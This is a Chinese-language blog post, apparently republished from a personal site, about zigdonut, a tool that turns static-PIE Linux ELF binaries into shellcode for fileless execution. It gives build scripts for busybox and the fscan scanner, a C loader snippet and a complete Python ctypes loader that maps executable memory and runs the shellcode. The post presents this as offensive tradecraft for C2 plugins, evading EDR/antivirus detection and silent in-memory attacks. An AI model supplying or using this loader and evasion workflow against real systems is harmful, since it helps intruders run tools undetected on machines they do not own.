Linux ELF Shellcode 生成与 Fileless 实战
zigdonut 简介zigdonut是一个用 Zig 实现的精简版 donut。最近新增了linux ELF 程序转换成shellcode的功能。可以从https://github.
2026-5-21 05:44:49
Author: guage.cool(查看原文)
阅读量:18
收藏
zigdonut 简介zigdonut 是一个用 Zig 实现的精简版 donut。
最近新增了linux ELF 程序转换成shellcode的功能。
可以从https://github.com/howmp/zigdonut/releases/tag/v2.0.0 下载体验
特性
仅支持静态链接的PIE/ET_DYN ELF
制作shellcode时压缩,加载时自动解压
Double fork脱离控制终端,后台执行,不产生僵尸进程
可动态指定输出文件以及参数,stdin/stderr重定向到输出文件
切换工作目录到/tmp
为什么需要 Static + PIEzigdonut 的 ELF shellcode 模式要求输入文件必须是静态链接 + PIE(ET_DYN) 格式。原因如下:
PIE(位置无关可执行文件) :PIE通过重定位表修复后,可以加载内存任意位置。非PIE下如果加载位置已经被占用,会无法加载。
静态链接 :不依赖任何其他so文件
验证是否符合要求:
1 2 3 4 5 readelf -h busybox | grep "Type:" ldd busybox
编译 C 代码:以 busybox 为例busybox 默认编译为静态 ELF,但不是 PIE。需要在 Alpine 容器中使用 musl-gcc 重新链接为 static-pie:
Dockerfile:
1 2 3 4 5 6 7 8 FROM alpine:3.20 RUN apk add --no-cache \ build-base \ wget \ tar \ bash \ linux-headers
构建脚本build.sh:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #!/bin/bash set -emake distclean make defconfig sed -i 's/.*CONFIG_STATIC.*/CONFIG_STATIC=y/' .config sed -i '/CONFIG_EXTRA_CFLAGS/c\CONFIG_EXTRA_CFLAGS="-fPIC"' .config sed -i '/CONFIG_EXTRA_LDFLAGS/c\CONFIG_EXTRA_LDFLAGS=""' .config make CFLAGS="-fPIC" -j$(nproc ) gcc -fPIC -static-pie -o busybox_musl_pie \ -Wl,--sort-common -Wl,--sort-section,alignment \ -Wl,--start-group \ applets/built-in.o archival/lib.a archival/libarchive/lib.a \ console-tools/lib.a coreutils/lib.a coreutils/libcoreutils/lib.a \ debianutils/lib.a klibc-utils/lib.a e2fsprogs/lib.a editors/lib.a \ findutils/lib.a init/lib.a libbb/lib.a libpwdgrp/lib.a \ loginutils/lib.a mailutils/lib.a miscutils/lib.a modutils/lib.a \ networking/lib.a networking/libiproute/lib.a networking/udhcp/lib.a \ printutils/lib.a procps/lib.a runit/lib.a selinux/lib.a \ shell/lib.a sysklogd/lib.a util-linux/lib.a util-linux/volume_id/lib.a \ -Wl,--end-group \ -lcrypt -lm -lpthread strip -s --remove-section=.note --remove-section=.comment busybox_musl_pie readelf -h busybox_musl_pie | grep "Type:" ldd busybox_musl_pie
编译:
1 2 3 4 docker build --network=host -t build-busybox . docker run -it --rm -v $(pwd ):/code --network=host build-busybox sh cd code && sh build.sh
关键点:
CONFIG_STATIC=y启用静态编译
CFLAGS="-fPIC"生成位置无关代码
-static-pie链接选项生成 PIE 格式的静态可执行文件
musl-libc 比 glibc 更适合静态编译,体积更小
编译 Go 代码:以 fscan 为例1 CC="zig cc -target x86_64-linux-musl" go build -buildmode=pie -ldflags "-linkmode external -extldflags '-static -pie' -s -w" -trimpath .
3. Fileless 使用场景 3.1 C2插件场景:可参考elfscloader.c
实现非常简单(约 60 行 C 代码),核心就是mmapRWX 内存 → 拷贝 shellcode → 跳转执行:
1 2 3 4 5 6 void *sc_addr = mmap(NULL , map_size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); memcpy (sc_addr, data, size);typedef void (*shellcode_fn) (char *output, size_t argc, char **argv, char **envp) ;shellcode_fn sc_fn = (shellcode_fn)sc_addr; sc_fn(argv[2 ], (size_t )(argc - 3 ), argv + 3 , envp);
3.2 免杀场景:python加载Shellcode传统方式直接上传 ELF 到目标机器,很容易被 EDR/AV 检测。可以通过python加载shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 """ELF shellcode loader - Python version of elfscloader.c""" import sysimport osimport ctypesdef main (): if len (sys.argv) < 3 : print (f"usage: {sys.argv[0 ]} <shellcode_file> <output> <elfname> [args...]" , file=sys.stderr) sys.exit(1 ) filepath = sys.argv[1 ] output = sys.argv[2 ] elf_args = sys.argv[3 :] with open (filepath, "rb" ) as f: sc_data = f.read() sc_size = len (sc_data) print (f"[+] loaded shellcode: {filepath} ({sc_size} bytes)" ) libc = ctypes.CDLL("libc.so.6" , use_errno=True ) libc.mmap.restype = ctypes.c_void_p libc.mmap.argtypes = [ ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_size_t, ] PROT_READ = 1 PROT_WRITE = 2 PROT_EXEC = 4 MAP_PRIVATE = 0x02 MAP_ANONYMOUS = 0x20 page_size = os.sysconf("SC_PAGESIZE" ) map_size = (sc_size + page_size - 1 ) & ~(page_size - 1 ) sc_addr = libc.mmap( None , map_size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 , ) if sc_addr == ctypes.c_void_p(-1 ).value: print ("[x] mmap failed" , file=sys.stderr) sys.exit(1 ) ctypes.memmove(sc_addr, sc_data, sc_size) print (f"[+] shellcode at: {hex (sc_addr)} " ) print (f"[+] output: {output} " ) print (f"[+] elfname: {elf_args[0 ] if elf_args else '' } " ) argc = len (elf_args) argv_arr = (ctypes.c_char_p * (argc + 1 ))() for i, arg in enumerate (elf_args): argv_arr[i] = arg.encode() argv_arr[argc] = None env_list = list (os.environ.items()) envp_arr = (ctypes.c_char_p * (len (env_list) + 1 ))() for i, (k, v) in enumerate (env_list): envp_arr[i] = f"{k} ={v} " .encode() envp_arr[len (env_list)] = None FUNCTYPE = ctypes.CFUNCTYPE(None , ctypes.c_char_p, ctypes.c_size_t, ctypes.POINTER(ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p)) sc_fn = FUNCTYPE(sc_addr) sc_fn(output.encode(), ctypes.c_size_t(argc), argv_arr, envp_arr) if __name__ == "__main__" : main()
生成fscan和busybox的shellcode,体积缩小
执行busybox的uname -a
执行fscan的fscan -h
总结zigdonut 将静态 PIE 的 ELF 转换为位置无关 shellcode,适用于 fileless 攻击场景。
在实战中,shellcode 可通过内存加载执行,实现无文件落地、静默运行。
本文首发于: https://xz.aliyun.com/news/92022
文章来源: https://guage.cool/linux-shellcode.html 如有侵权请联系:admin#unsafe.sh